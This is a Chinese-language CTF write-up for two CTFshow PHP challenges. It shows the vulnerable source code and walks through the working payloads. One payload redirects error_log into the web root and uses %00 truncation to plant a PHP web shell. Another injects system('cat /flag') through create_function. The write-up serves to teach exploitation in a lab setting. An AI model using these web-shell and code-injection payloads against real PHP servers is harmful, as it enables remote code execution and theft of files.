CTFshow紅包挑戰7
寫不出來一點,還是等了官方wp之后才復現。
直接給了源碼
<?php
highlight_file(__FILE__);
error_reporting(2);extract($_GET);
ini_set($name,$value);system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}
extract
:從數組中將變量導入到當前的符號表
ini_set
:為一個配置選項設置值(我們可以修改配置項)
報錯等級是2
。他限定只能使用ls 什么什么
,而且filter
自定義函數過濾了'
、 \
、`` 、
$這四個字符。不好使用閉合來繞過對
getshell`的限制。
既然ls 什么什么
里面的什么什么
可以控制,那就先遍歷目錄來看看吧。
?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/
當前環境存在5個擴展,包含xdebug。分別是mysqli.so
opcache.so
pdo_mysql.so
sodium.so
xdebug.so
。
PHP版本是7.3.22
輸入?1=/
,服務端內部語句拼接為ls '/'
。返回了根目錄下所有文件。
flag應該就在flag文件中
開始思索題目。感覺關鍵代碼是這三句:
//不同尋常的報錯等級
error_reporting(2);//修改$name,$value
extract($_GET);//開啟某個配置項
ini_set($name,$value);
程序執行期間的ini_set不能disable_functions,無法直接禁用str_replace
函數
知識點:
xdebug
在處理截斷問題的時候,會將異常payload回顯。而system剛好可以用0字節
(%00或者\000)進行截斷來觸發異常。
思路:
通過觸發異常后,將回顯的內容(可控)寫入到web目錄(修改配置項,把報錯寫入自定義報錯日志)。即可實現寫馬到文件。
ini_set("display_errors", "On");//打開錯誤提示,與題目無關,只是擴展
ini_set("error_reporting",E_ALL);//顯示所有錯誤,與題目無關,只是擴展ini_set("error_log",""/var/www/html/1.php");
//把報錯信息寫入web目錄下的1.php文件中
嘗試看看報錯,%00確實能截斷導致報錯。
payload:
?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>
可以發現,報錯已經寫入自定義的報錯日志,同時,報錯代碼被自動執行了。
此外,官方wp還給了一種造成報錯的方法:
/?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f")<?php system("cat /*");?>
("%0C%08%00%00"^"`{ %2f")即EKc ^URL編碼后EKc%20%02^
但是直接
?name=error_log&value=1.php
&1=EKc%20%02^<?php system("cat /*");?>
是無法造成報錯的,這種造成報錯方式有待細細研究。
CTFshow紅包挑戰8
考點:PHP create_function
擴展練習(相關題目):NSS [NISACTF 2022]level-up
源碼直接給了。
<?phphighlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();
?>
create_function($name,base64_encode($value))();
相當于創建匿名函數后直接執行。就像nmhs();
這樣。
其中,$name
是參數,base64_encode($value)
是要執行的代碼段,但是這里base64編碼過了,執行不了。
可以看作如下代碼:(片段1)【一定要當作函數片段來看,而不是一行有參數的函數調用】
nmhs($name){base64_encode($value)
}
那我就不要base64_encode($value)
,直接從$name
開始構造。
先看看payload:
?value=Jay17&name=){}phpinfo();/*
我們把payload中$name
帶入片段1。
片段1:
nmhs($name){base64_encode($value)
}
帶入$name
nmhs(){}phpinfo();/*){base64_encode($value)
}
整理一下
nmhs(){}phpinfo();
/*){base64_encode($value)
}
最終payload:
?value=Jay17&name=){}system("cat /flag");/*